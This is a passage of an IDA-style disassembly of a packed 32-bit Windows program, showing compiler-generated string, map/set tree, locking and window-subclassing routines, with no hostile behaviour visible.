mov edi, [ebp-18h]
mov esi, [ebp+8]
mov ebx, [ebp-14h]
loc_405F90: ; CODE XREF: sub_405F0B+59j
cmp dword ptr [ebp+0Ch], 0
jbe short loc_405FB5
cmp dword ptr [edi+18h], 10h
jb short loc_405FA1
mov eax, [edi+4]
jmp short loc_405FA4
; ---------------------------------------------------------------------------
loc_405FA1: ; CODE XREF: sub_405F0B+8Fj
lea eax, [edi+4]
loc_405FA4: ; CODE XREF: sub_405F0B+94j
push dword ptr [ebp+0Ch]
push eax
lea eax, [esi+1]
push eax
push ebx
call sub_4049C9
add esp, 10h
loc_405FB5: ; CODE XREF: sub_405F0B+89j
push 0
push 1
mov ecx, edi
call sub_4054FB
push dword ptr [ebp+0Ch]
mov ecx, edi
mov [edi+4], ebx
mov [edi+18h], esi
call sub_405A76
call sub_40C50C
retn 8
sub_405F0B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_405FD8 proc near ; DATA XREF: UPX0:00427204o
mov ecx, [ebp-18h]
xor esi, esi
push esi
push 1
call sub_4054FB
push esi
push esi
call sub_40C03B
int 3 ; Trap to Debugger
sub_405FD8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_405FED proc near ; CODE XREF: sub_405995+Bp
arg_0 = dword ptr 4
cmp [esp+arg_0], 0
push esi
jz short loc_406022
mov esi, [ecx+18h]
lea eax, [ecx+4]
cmp esi, 10h
jb short loc_406004
mov edx, [eax]
jmp short loc_406006
; ---------------------------------------------------------------------------
loc_406004: ; CODE XREF: sub_405FED+11j
mov edx, eax
loc_406006: ; CODE XREF: sub_405FED+15j
cmp [esp+4+arg_0], edx
jb short loc_406022
cmp esi, 10h
jb short loc_406013
mov eax, [eax]
loc_406013: ; CODE XREF: sub_405FED+22j
mov ecx, [ecx+14h]
add ecx, eax
cmp ecx, [esp+4+arg_0]
jbe short loc_406022
mov al, 1
jmp short loc_406024
; ---------------------------------------------------------------------------
loc_406022: ; CODE XREF: sub_405FED+6j
; sub_405FED+1Dj ...
xor al, al
loc_406024: ; CODE XREF: sub_405FED+33j
pop esi
retn 4
sub_405FED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406028 proc near ; CODE XREF: sub_405546+39p
; sub_405AF0+1Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, eax
push edi
cmp [esi+14h], ebx
jnb short loc_406039
call sub_40ABCE
loc_406039: ; CODE XREF: sub_406028+Aj
mov edi, [esi+14h]
sub edi, ebx
cmp [ebp+arg_4], edi
jnb short loc_406046
mov edi, [ebp+arg_4]
loc_406046: ; CODE XREF: sub_406028+19j
mov eax, [ebp+arg_0]
cmp eax, esi
jnz short loc_406062
push 0FFFFFFFFh
add edi, ebx
mov esi, eax
call sub_4064F7
push ebx
xor edi, edi
call sub_4064F7
jmp short loc_4060A5
; ---------------------------------------------------------------------------
loc_406062: ; CODE XREF: sub_406028+23j
call sub_4060AE
test al, al
jz short loc_4060A5
cmp dword ptr [esi+18h], 8
jb short loc_406076
mov eax, [esi+4]
jmp short loc_406079
; ---------------------------------------------------------------------------
loc_406076: ; CODE XREF: sub_406028+47j
lea eax, [esi+4]
loc_406079: ; CODE XREF: sub_406028+4Cj
mov esi, [ebp+arg_0]
mov edx, [esi+18h]
cmp edx, 8
jb short loc_406089
mov ecx, [esi+4]
jmp short loc_40608C
; ---------------------------------------------------------------------------
loc_406089: ; CODE XREF: sub_406028+5Aj
lea ecx, [esi+4]
loc_40608C: ; CODE XREF: sub_406028+5Fj
lea eax, [eax+ebx*2]
push eax
push edx
push ecx
mov eax, edi
call sub_406F3F
add esp, 0Ch
mov ecx, edi
mov eax, esi
call sub_405B16
loc_4060A5: ; CODE XREF: sub_406028+38j
; sub_406028+41j
mov eax, [ebp+arg_0]
pop edi
pop esi
pop ebp
retn 8
sub_406028 endp
; =============== S U B R O U T I N E =======================================
sub_4060AE proc near ; CODE XREF: sub_405546+42p
; sub_406028:loc_406062p ...
push esi
mov esi, eax
cmp edi, 7FFFFFFEh
jbe short loc_4060BE
call sub_40AB96
loc_4060BE: ; CODE XREF: sub_4060AE+9j
mov eax, [esi+18h]
cmp eax, edi
jnb short loc_4060D1
push dword ptr [esi+14h]
push edi
push esi
call sub_406572
jmp short loc_4060EA
; ---------------------------------------------------------------------------
loc_4060D1: ; CODE XREF: sub_4060AE+15j
test edi, edi
jnz short loc_4060EA
and [esi+14h], edi
cmp eax, 8
jb short loc_4060E2
mov esi, [esi+4]
jmp short loc_4060E5
; ---------------------------------------------------------------------------
loc_4060E2: ; CODE XREF: sub_4060AE+2Dj
add esi, 4
loc_4060E5: ; CODE XREF: sub_4060AE+32j
xor eax, eax
mov [esi], ax
loc_4060EA: ; CODE XREF: sub_4060AE+21j
; sub_4060AE+25j
xor eax, eax
cmp eax, edi
sbb eax, eax
neg eax
pop esi
retn
sub_4060AE endp
; =============== S U B R O U T I N E =======================================
sub_4060F4 proc near ; CODE XREF: sub_405546+1Ap
; sub_40A4B6+Bp
arg_0 = dword ptr 4
cmp [esp+arg_0], 0
push esi
jz short loc_40612A
mov esi, [ecx+18h]
lea eax, [ecx+4]
cmp esi, 8
jb short loc_40610B
mov edx, [eax]
jmp short loc_40610D
; ---------------------------------------------------------------------------
loc_40610B: ; CODE XREF: sub_4060F4+11j
mov edx, eax
loc_40610D: ; CODE XREF: sub_4060F4+15j
cmp [esp+4+arg_0], edx
jb short loc_40612A
cmp esi, 8
jb short loc_40611A
mov eax, [eax]
loc_40611A: ; CODE XREF: sub_4060F4+22j
mov ecx, [ecx+14h]
lea eax, [eax+ecx*2]
cmp eax, [esp+4+arg_0]
jbe short loc_40612A
mov al, 1
jmp short loc_40612C
; ---------------------------------------------------------------------------
loc_40612A: ; CODE XREF: sub_4060F4+6j
; sub_4060F4+1Dj ...
xor al, al
loc_40612C: ; CODE XREF: sub_4060F4+34j
pop esi
retn 4
sub_4060F4 endp
; =============== S U B R O U T I N E =======================================
sub_406130 proc near ; CODE XREF: sub_405BF2+8Ep
push 4Ch
mov eax, offset loc_41C41F
call sub_40C46D
mov ebx, [ebp+14h]
cmp byte ptr [ebx+49h], 0
jz short loc_406177
push offset aInvalidMapSetT ; "invalid map/set<T> iterator"
lea ecx, [ebp-30h]
call sub_405138
and dword ptr [ebp-4], 0
lea eax, [ebp-30h]
push eax
lea ecx, [ebp-58h]
call sub_404A01
push offset dword_426E0C
lea eax, [ebp-58h]
push eax
mov dword ptr [ebp-58h], offset off_41D500
call sub_40C03B
loc_406177: ; CODE XREF: sub_406130+13j
lea esi, [ebp+10h]
call sub_405E27
mov edx, [ebx]
cmp byte ptr [edx+49h], 0
jz short loc_40618C
mov edi, [ebx+8]
jmp short loc_4061A5
; ---------------------------------------------------------------------------
loc_40618C: ; CODE XREF: sub_406130+55j
mov eax, [ebx+8]
cmp byte ptr [eax+49h], 0
jz short loc_406199
mov edi, edx
jmp short loc_4061A5
; ---------------------------------------------------------------------------
loc_406199: ; CODE XREF: sub_406130+63j
mov eax, [ebp+14h]
lea ecx, [eax+8]
mov edi, [ecx]
cmp eax, ebx
jnz short loc_40621F
loc_4061A5: ; CODE XREF: sub_406130+5Aj
; sub_406130+67j
cmp byte ptr [edi+49h], 0
mov esi, [ebx+4]
jnz short loc_4061B1
mov [edi+4], esi
loc_4061B1: ; CODE XREF: sub_406130+7Cj
mov ecx, [ebp+8]
mov eax, [ecx+18h]
cmp [eax+4], ebx
jnz short loc_4061C1
mov [eax+4], edi
jmp short loc_4061CC
; ---------------------------------------------------------------------------
loc_4061C1: ; CODE XREF: sub_406130+8Aj
cmp [esi], ebx
jnz short loc_4061C9
mov [esi], edi
jmp short loc_4061CC
; ---------------------------------------------------------------------------
loc_4061C9: ; CODE XREF: sub_406130+93j
mov [esi+8], edi
loc_4061CC: ; CODE XREF: sub_406130+8Fj
; sub_406130+97j
mov edx, [ecx+18h]
cmp [edx], ebx
jnz short loc_4061EF
cmp byte ptr [edi+49h], 0
jz short loc_4061DD
mov ecx, esi
jmp short loc_4061ED
; ---------------------------------------------------------------------------
loc_4061DD: ; CODE XREF: sub_406130+A7j
mov eax, [edi]
mov ecx, edi
jmp short loc_4061E7
; ---------------------------------------------------------------------------
loc_4061E3: ; CODE XREF: sub_406130+BBj
mov ecx, eax
mov eax, [ecx]
loc_4061E7: ; CODE XREF: sub_406130+B1j
cmp byte ptr [eax+49h], 0
jz short loc_4061E3
loc_4061ED: ; CODE XREF: sub_406130+ABj
mov [edx], ecx
loc_4061EF: ; CODE XREF: sub_406130+A1j
mov eax, [ebp+8]
mov edx, [eax+18h]
cmp [edx+8], ebx
jnz loc_406284
cmp byte ptr [edi+49h], 0
jz short loc_406208
mov ecx, esi
jmp short loc_40621A
; ---------------------------------------------------------------------------
loc_406208: ; CODE XREF: sub_406130+D2j
mov eax, [edi+8]
mov ecx, edi
jmp short loc_406214
; ---------------------------------------------------------------------------
loc_40620F: ; CODE XREF: sub_406130+E8j
mov ecx, eax
mov eax, [ecx+8]
loc_406214: ; CODE XREF: sub_406130+DDj
cmp byte ptr [eax+49h], 0
jz short loc_40620F
loc_40621A: ; CODE XREF: sub_406130+D6j
mov [edx+8], ecx
jmp short loc_406284
; ---------------------------------------------------------------------------
loc_40621F: ; CODE XREF: sub_406130+73j
mov [edx+4], eax
mov edx, [ebx]
mov [eax], edx
cmp eax, [ebx+8]
jnz short loc_40622F
mov esi, eax
jmp short loc_406248
; ---------------------------------------------------------------------------
loc_40622F: ; CODE XREF: sub_406130+F9j
cmp byte ptr [edi+49h], 0
mov esi, [eax+4]
jnz short loc_40623B
mov [edi+4], esi
loc_40623B: ; CODE XREF: sub_406130+106j
mov [esi], edi
mov edx, [ebx+8]
mov [ecx], edx
mov ecx, [ebx+8]
mov [ecx+4], eax
loc_406248: ; CODE XREF: sub_406130+FDj
mov ecx, [ebp+8]
mov ecx, [ecx+18h]
cmp [ecx+4], ebx
jnz short loc_406258
mov [ecx+4], eax
jmp short loc_406266
; ---------------------------------------------------------------------------
loc_406258: ; CODE XREF: sub_406130+121j
mov ecx, [ebx+4]
cmp [ecx], ebx
jnz short loc_406263
mov [ecx], eax
jmp short loc_406266
; ---------------------------------------------------------------------------
loc_406263: ; CODE XREF: sub_406130+12Dj
mov [ecx+8], eax
loc_406266: ; CODE XREF: sub_406130+126j
; sub_406130+131j
mov ecx, [ebx+4]
mov [eax+4], ecx
lea ecx, [ebx+48h]
add eax, 48h
cmp eax, ecx
jz short loc_406284
mov dl, [eax]
mov [ebp-11h], dl
mov dl, [ecx]
mov [eax], dl
mov al, [ebp-11h]
mov [ecx], al
loc_406284: ; CODE XREF: sub_406130+C8j
; sub_406130+EDj ...
cmp byte ptr [ebx+48h], 1
jnz loc_4063A0
jmp loc_406354
; ---------------------------------------------------------------------------
loc_406293: ; CODE XREF: sub_406130+22Dj
cmp byte ptr [edi+48h], 1
jnz loc_40639C
mov ecx, [esi]
cmp edi, ecx
jnz short loc_40631A
mov ecx, [esi+8]
cmp byte ptr [ecx+48h], 0
jnz short loc_4062C1
push dword ptr [ebp+8]
mov byte ptr [ecx+48h], 1
mov ecx, esi
mov byte ptr [esi+48h], 0
call sub_4063D6
mov ecx, [esi+8]
loc_4062C1: ; CODE XREF: sub_406130+17Aj
cmp byte ptr [ecx+49h], 0
jnz loc_40634F
mov eax, [ecx]
cmp byte ptr [eax+48h], 1
jnz short loc_4062DC
mov eax, [ecx+8]
cmp byte ptr [eax+48h], 1
jz short loc_40634B
loc_4062DC: ; CODE XREF: sub_406130+1A1j
mov eax, [ecx+8]
cmp byte ptr [eax+48h], 1
jnz short loc_4062FA
mov eax, [ecx]
push dword ptr [ebp+8]
mov byte ptr [eax+48h], 1
mov byte ptr [ecx+48h], 0
call sub_406416
mov ecx, [esi+8]
loc_4062FA: ; CODE XREF: sub_406130+1B3j
mov al, [esi+48h]
push dword ptr [ebp+8]
mov [ecx+48h], al
mov byte ptr [esi+48h], 1
mov eax, [ecx+8]
mov ecx, esi
mov byte ptr [eax+48h], 1
call sub_4063D6
jmp loc_40639C
; ---------------------------------------------------------------------------
loc_40631A: ; CODE XREF: sub_406130+171j
cmp byte ptr [ecx+48h], 0
jnz short loc_406334
push dword ptr [ebp+8]
mov byte ptr [ecx+48h], 1
mov ecx, esi
mov byte ptr [esi+48h], 0
call sub_406416
mov ecx, [esi]
loc_406334: ; CODE XREF: sub_406130+1EEj
cmp byte ptr [ecx+49h], 0
jnz short loc_40634F
mov eax, [ecx+8]
cmp byte ptr [eax+48h], 1
jnz short loc_406365
mov eax, [ecx]
cmp byte ptr [eax+48h], 1
jnz short loc_406365
loc_40634B: ; CODE XREF: sub_406130+1AAj
mov byte ptr [ecx+48h], 0
loc_40634F: ; CODE XREF: sub_406130+195j
; sub_406130+208j
mov edi, esi
mov esi, [esi+4]
loc_406354: ; CODE XREF: sub_406130+15Ej
mov eax, [ebp+8]
mov eax, [eax+18h]
cmp edi, [eax+4]
jnz loc_406293
jmp short loc_40639C
; ---------------------------------------------------------------------------
loc_406365: ; CODE XREF: sub_406130+211j
; sub_406130+219j
mov eax, [ecx]
cmp byte ptr [eax+48h], 1
jnz short loc_406382
mov eax, [ecx+8]
push dword ptr [ebp+8]
mov byte ptr [eax+48h], 1
mov byte ptr [ecx+48h], 0
call sub_4063D6
mov ecx, [esi]
loc_406382: ; CODE XREF: sub_406130+23Bj
mov al, [esi+48h]
push dword ptr [ebp+8]
mov [ecx+48h], al
mov byte ptr [esi+48h], 1
mov eax, [ecx]
mov ecx, esi
mov byte ptr [eax+48h], 1
call sub_406416
loc_40639C: ; CODE XREF: sub_406130+167j
; sub_406130+1E5j ...
mov byte ptr [edi+48h], 1
loc_4063A0: ; CODE XREF: sub_406130+158j
push 0
push 1
lea esi, [ebx+10h]
call sub_4055BC
push ebx
call sub_40AC11
mov eax, [ebp+8]
pop ecx
mov ecx, [eax+1Ch]
test ecx, ecx
jbe short loc_4063C1
dec ecx
mov [eax+1Ch], ecx
loc_4063C1: ; CODE XREF: sub_406130+28Bj
mov edx, [eax]
mov eax, [ebp+0Ch]
mov ecx, [ebp+14h]
mov [eax], edx
mov [eax+4], ecx
call sub_40C50C
retn 10h
sub_406130 endp
; =============== S U B R O U T I N E =======================================
sub_4063D6 proc near ; CODE XREF: sub_405CA8+B5p
; sub_405CA8+11Dp ...
arg_0 = dword ptr 4
mov eax, [ecx+8]
mov edx, [eax]
mov [ecx+8], edx
mov edx, [eax]
cmp byte ptr [edx+49h], 0
jnz short loc_4063E9
mov [edx+4], ecx
loc_4063E9: ; CODE XREF: sub_4063D6+Ej
mov edx, [ecx+4]
mov [eax+4], edx
mov edx, [esp+arg_0]
mov edx, [edx+18h]
cmp ecx, [edx+4]
jnz short loc_406400
mov [edx+4], eax
jmp short loc_40640E
; ---------------------------------------------------------------------------
loc_406400: ; CODE XREF: sub_4063D6+23j
mov edx, [ecx+4]
cmp ecx, [edx]
jnz short loc_40640B
mov [edx], eax
jmp short loc_40640E
; ---------------------------------------------------------------------------
loc_40640B: ; CODE XREF: sub_4063D6+2Fj
mov [edx+8], eax
loc_40640E: ; CODE XREF: sub_4063D6+28j
; sub_4063D6+33j
mov [eax], ecx
mov [ecx+4], eax
retn 4
sub_4063D6 endp
; =============== S U B R O U T I N E =======================================
sub_406416 proc near ; CODE XREF: sub_405CA8+D2p
; sub_405CA8+100p ...
arg_0 = dword ptr 4
mov eax, [ecx]
mov edx, [eax+8]
mov [ecx], edx
mov edx, [eax+8]
cmp byte ptr [edx+49h], 0
jnz short loc_406429
mov [edx+4], ecx
loc_406429: ; CODE XREF: sub_406416+Ej
mov edx, [ecx+4]
mov [eax+4], edx
mov edx, [esp+arg_0]
mov edx, [edx+18h]
cmp ecx, [edx+4]
jnz short loc_406440
mov [edx+4], eax
jmp short loc_40644F
; ---------------------------------------------------------------------------
loc_406440: ; CODE XREF: sub_406416+23j
mov edx, [ecx+4]
cmp ecx, [edx+8]
jnz short loc_40644D
mov [edx+8], eax
jmp short loc_40644F
; ---------------------------------------------------------------------------
loc_40644D: ; CODE XREF: sub_406416+30j
mov [edx], eax
loc_40644F: ; CODE XREF: sub_406416+28j
; sub_406416+35j
mov [eax+8], ecx
mov [ecx+4], eax
retn 4
sub_406416 endp
; =============== S U B R O U T I N E =======================================
sub_406458 proc near ; CODE XREF: sub_418A96+6Dp
push 50h
call sub_40B45F
xor edx, edx
pop ecx
cmp eax, edx
jz short loc_406468
mov [eax], edx
loc_406468: ; CODE XREF: sub_406458+Cj
lea ecx, [eax+4]
cmp ecx, edx
jz short loc_406471
mov [ecx], edx
loc_406471: ; CODE XREF: sub_406458+15j
lea ecx, [eax+8]
cmp ecx, edx
jz short loc_40647A
mov [ecx], edx
loc_40647A: ; CODE XREF: sub_406458+1Ej
mov byte ptr [eax+48h], 1
mov [eax+49h], dl
retn
sub_406458 endp
; =============== S U B R O U T I N E =======================================
sub_406482 proc near ; CODE XREF: sub_405CA8+52p
push 8
mov eax, offset loc_41C3FC
call sub_40C4A0
push 50h
call sub_40B45F
mov ebx, eax
pop ecx
mov [ebp-14h], ebx
mov dword ptr [ebp-4], 1
test ebx, ebx
jz short loc_4064DA
mov eax, [ebp+8]
push dword ptr [ebp+14h]
mov [ebx], eax
mov eax, [ebp+0Ch]
mov [ebx+4], eax
mov eax, [ebp+10h]
lea edi, [ebx+10h]
mov esi, edi
mov [ebx+8], eax
call sub_405AF0
mov esi, [ebp+14h]
add esi, 20h
push 6
add edi, 20h
pop ecx
rep movsd
mov byte ptr [ebx+48h], 0
mov byte ptr [ebx+49h], 0
loc_4064DA: ; CODE XREF: sub_406482+22j
mov eax, ebx
call sub_40C50C
retn 10h
sub_406482 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4064E4 proc near ; DATA XREF: UPX0:00427714o
push dword ptr [ebp-14h]
call sub_40AC11
pop ecx
push 0
push 0
call sub_40C03B
int 3 ; Trap to Debugger
sub_4064E4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4064F7 proc near ; CODE XREF: sub_406028+2Bp
; sub_406028+33p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
cmp [esi+14h], edi
jnb short loc_406506
call sub_40ABCE
loc_406506: ; CODE XREF: sub_4064F7+8j
mov eax, [esi+14h]
sub eax, edi
cmp eax, [ebp+arg_0]
jnb short loc_406513
mov [ebp+arg_0], eax
loc_406513: ; CODE XREF: sub_4064F7+17j
cmp [ebp+arg_0], 0
jbe short loc_40656C
mov ecx, [esi+18h]
push ebx
lea edx, [esi+4]
cmp ecx, 8
jb short loc_40652C
mov ebx, [edx]
mov [ebp+var_4], ebx
jmp short loc_40652F
; ---------------------------------------------------------------------------
loc_40652C: ; CODE XREF: sub_4064F7+2Cj
mov [ebp+var_4], edx
loc_40652F: ; CODE XREF: sub_4064F7+33j
cmp ecx, 8
jb short loc_406536
mov edx, [edx]
loc_406536: ; CODE XREF: sub_4064F7+3Bj
mov ebx, [ebp+arg_0]
sub eax, ebx
add eax, eax
push eax
mov [ebp+var_8], edx
mov edx, [ebp+var_4]
lea eax, [edi+ebx]
lea eax, [edx+eax*2]
push eax
mov eax, [ebp+var_8]
sub ecx, edi
add ecx, ecx
push ecx
lea eax, [eax+edi*2]
push eax
call sub_40AC49
mov ecx, [esi+14h]
add esp, 10h
sub ecx, ebx
mov eax, esi
call sub_405B16
pop ebx
loc_40656C: ; CODE XREF: sub_4064F7+20j
mov eax, esi
leave
retn 4
sub_4064F7 endp
; =============== S U B R O U T I N E =======================================
sub_406572 proc near ; CODE XREF: sub_4060AE+1Cp
push 8
mov eax, offset loc_41C2DA
call sub_40C4A0
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
or edi, 7
cmp edi, 7FFFFFFEh
jbe short loc_406594
mov edi, [ebp+0Ch]
jmp short loc_4065BB
; ---------------------------------------------------------------------------
loc_406594: ; CODE XREF: sub_406572+1Bj
xor edx, edx
push 3
mov eax, edi
pop ebx
div ebx
mov ecx, [esi+18h]
mov [ebp-14h], ecx
shr dword ptr [ebp-14h], 1
mov edx, [ebp-14h]
cmp eax, edx
jnb short loc_4065BB
mov eax, 7FFFFFFEh
sub eax, edx
cmp ecx, eax
ja short loc_4065BB
lea edi, [edx+ecx]
loc_4065BB: ; CODE XREF: sub_406572+20j
; sub_406572+39j ...
and dword ptr [ebp-4], 0
lea ecx, [edi+1]
call sub_40668D
mov ebx, eax
jmp short loc_4065F2
; ---------------------------------------------------------------------------
mov eax, [ebp+0Ch]
lea ecx, [eax+1]
mov [ebp-10h], esp
mov [ebp+0Ch], eax
mov byte ptr [ebp-4], 2
call sub_40668D
mov [ebp-14h], eax
mov eax, offset loc_4065E9
retn
; ---------------------------------------------------------------------------
loc_4065E9: ; DATA XREF: sub_406572+71o
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
mov ebx, [ebp-14h]
loc_4065F2: ; CODE XREF: sub_406572+57j
cmp dword ptr [ebp+10h], 0
jbe short loc_406617
cmp dword ptr [esi+18h], 8
jb short loc_406603
mov eax, [esi+4]
jmp short loc_406606
; ---------------------------------------------------------------------------
loc_406603: ; CODE XREF: sub_406572+8Aj
lea eax, [esi+4]
loc_406606: ; CODE XREF: sub_406572+8Fj
push eax
lea eax, [edi+1]
push eax
mov eax, [ebp+10h]
push ebx
call sub_406F3F
add esp, 0Ch
loc_406617: ; CODE XREF: sub_406572+84j
push 0
push 1
call sub_4055BC
mov ecx, [ebp+10h]
mov eax, esi
mov [esi+4], ebx
mov [esi+18h], edi
call sub_405B16
call sub_40C50C
retn 0Ch
sub_406572 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_406638 proc near ; DATA XREF: UPX0:004274E4o
mov esi, [ebp+8]
xor edi, edi
push edi
push 1
call sub_4055BC
push edi
push edi
call sub_40C03B
int 3 ; Trap to Debugger
sub_406638 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40664D proc near ; CODE XREF: sub_405BF2+49p
; sub_40664D+17p
arg_0 = dword ptr 4
push ebx
push ebp
mov ebp, [esp+8+arg_0]
cmp byte ptr [ebp+49h], 0
push edi
mov ebx, ecx
mov edi, ebp
jnz short loc_406687
push esi
loc_40665F: ; CODE XREF: sub_40664D+37j
push dword ptr [edi+8]
mov ecx, ebx
call sub_40664D
mov edi, [edi]
push 0
push 1
lea esi, [ebp+10h]
call sub_4055BC
push ebp
call sub_40AC11
cmp byte ptr [edi+49h], 0
pop ecx
mov ebp, edi
jz short loc_40665F
pop esi
loc_406687: ; CODE XREF: sub_40664D+Fj
pop edi
pop ebp
pop ebx
retn 4
sub_40664D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40668D proc near ; CODE XREF: sub_406572+50p
; sub_406572+69p
var_10 = dword ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
test ecx, ecx
ja short loc_4066A5
xor ecx, ecx
loc_406699: ; CODE XREF: sub_40668D+22j
lea eax, [ecx+ecx]
push eax
call sub_40B45F
pop ecx
leave
retn
; ---------------------------------------------------------------------------
loc_4066A5: ; CODE XREF: sub_40668D+8j
or eax, 0FFFFFFFFh
xor edx, edx
div ecx
cmp eax, 2
jnb short loc_406699
and [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
lea ecx, [ebp+var_10]
call sub_40ACB7
push offset dword_426E80
lea eax, [ebp+var_10]
push eax
mov [ebp+var_10], offset off_41D4DC
call sub_40C03B
int 3 ; Trap to Debugger
sub_40668D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4066D7 proc near ; CODE XREF: sub_401441+3Cp
; sub_401652+71p ...
push esi
mov esi, ecx
cmp byte ptr [esi+4], 0
jz short loc_4066EC
push dword ptr [esi]
call dword_41D204 ; RtlLeaveCriticalSection
mov byte ptr [esi+4], 0
loc_4066EC: ; CODE XREF: sub_4066D7+7j
pop esi
retn
sub_4066D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4066EE proc near ; CODE XREF: sub_401BB2+152p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
sub esp, 0Ch
push esi
push edi
mov edi, [eax]
mov eax, [ebx]
test eax, eax
jnz short loc_406736
test edi, edi
jz short loc_40672E
loc_406705: ; CODE XREF: sub_4066EE+4Aj
xor al, al
loc_406707: ; CODE XREF: sub_4066EE+91j
test al, al
jnz short loc_40672E
mov eax, [ebp+arg_0]
mov eax, [eax]
mov esi, [ebx]
and dword ptr [ebx], 0
test eax, eax
jz short loc_406724
mov ecx, [eax]
push ebx
push offset dword_4243B4
push eax
call dword ptr [ecx]
loc_406724: ; CODE XREF: sub_4066EE+29j
test esi, esi
jz short loc_40672E
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_40672E: ; CODE XREF: sub_4066EE+15j
; sub_4066EE+1Bj ...
mov eax, [ebx]
pop edi
pop esi
leave
retn 4
; ---------------------------------------------------------------------------
loc_406736: ; CODE XREF: sub_4066EE+11j
test edi, edi
jz short loc_406705
and [ebp+var_8], 0
and [ebp+var_C], 0
mov ecx, [eax]
lea edx, [ebp+var_8]
push edx
mov esi, offset dword_424264
push esi
push eax
call dword ptr [ecx]
mov eax, [edi]
lea ecx, [ebp+var_C]
push ecx
push esi
push edi
call dword ptr [eax]
mov eax, [ebp+var_C]
cmp [ebp+var_8], eax
setz [ebp+var_1]
test eax, eax
jz short loc_40676F
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_40676F: ; CODE XREF: sub_4066EE+79j
mov eax, [ebp+var_8]
test eax, eax
jz short loc_40677C
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_40677C: ; CODE XREF: sub_4066EE+86j
mov al, [ebp+var_1]
jmp short loc_406707
sub_4066EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406781 proc near ; DATA XREF: UPX0:0042DCE0o
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov eax, offset dword_42E38C
push esi
push eax
xor ebx, ebx
mov [ebp+var_8], eax
call dword_41D1CC ; RtlEnterCriticalSection
mov esi, dword_42E3A4
mov [ebp+var_4], 1
test esi, esi
jz short loc_4067D2
call dword_41D1C4 ; GetCurrentThreadId
xor ecx, ecx
loc_4067AF: ; CODE XREF: sub_406781+3Aj
cmp [esi+4], eax
jz short loc_4067BF
mov ecx, esi
mov esi, [esi+8]
test esi, esi
jnz short loc_4067AF
jmp short loc_4067D2
; ---------------------------------------------------------------------------
loc_4067BF: ; CODE XREF: sub_406781+31j
mov eax, [esi+8]
test ecx, ecx
jnz short loc_4067CD
mov dword_42E3A4, eax
jmp short loc_4067D0
; ---------------------------------------------------------------------------
loc_4067CD: ; CODE XREF: sub_406781+43j
mov [ecx+8], eax
loc_4067D0: ; CODE XREF: sub_406781+4Aj
mov ebx, [esi]
loc_4067D2: ; CODE XREF: sub_406781+24j
; sub_406781+3Cj
lea ecx, [ebp+var_8]
call sub_4066D7
test ebx, ebx
jnz short loc_4067E2
xor eax, eax
jmp short loc_406813
; ---------------------------------------------------------------------------
loc_4067E2: ; CODE XREF: sub_406781+5Bj
mov esi, [ebp+arg_0]
mov eax, [ebx]
push edi
push ebx
mov ecx, ebx
mov [ebx+4], esi
call dword ptr [eax+8]
lea edi, [ebx+8]
call sub_4018DB
mov ebx, [ebx+14h]
push ebx
push 0FFFFFFFCh
push esi
call dword_41D2B4 ; SetWindowLongW
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call ebx ; MulDiv
pop edi
loc_406813: ; CODE XREF: sub_406781+5Fj
pop esi
pop ebx
leave
retn 10h
sub_406781 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406819 proc near ; DATA XREF: sub_404D56o
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 24h
mov ecx, [ebp+arg_C]
push ebx
mov ebx, [ebp+arg_8]
push esi
mov esi, [ebp+arg_0]
mov edx, [esi+18h]
mov eax, [esi+4]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_18], ecx
xor ecx, ecx
push ecx
mov [ebp+var_14], ecx
mov [ebp+var_C], ecx
mov [ebp+var_10], ecx
lea ecx, [ebp+arg_0]
push ecx
push [ebp+arg_C]
mov [ebp+arg_4], edx
push ebx
lea edx, [ebp+var_24]
push edi
mov [esi+18h], edx
mov edx, [esi]
push eax
mov ecx, esi
mov [ebp+var_8], 24h
mov [ebp+var_4], 1
mov [ebp+var_24], eax
mov [ebp+var_20], edi
mov [ebp+var_1C], ebx
call dword ptr [edx]
test eax, eax
jnz short loc_4068E8
cmp edi, 82h
jz short loc_406895
push [ebp+arg_C]
push ebx
push edi
push dword ptr [esi+4]
push dword ptr [esi+20h]
call dword_41D27C ; CallWindowProcW
mov [ebp+arg_0], eax
jmp short loc_4068E8
; ---------------------------------------------------------------------------
loc_406895: ; CODE XREF: sub_406819+64j
mov eax, [esi+4]
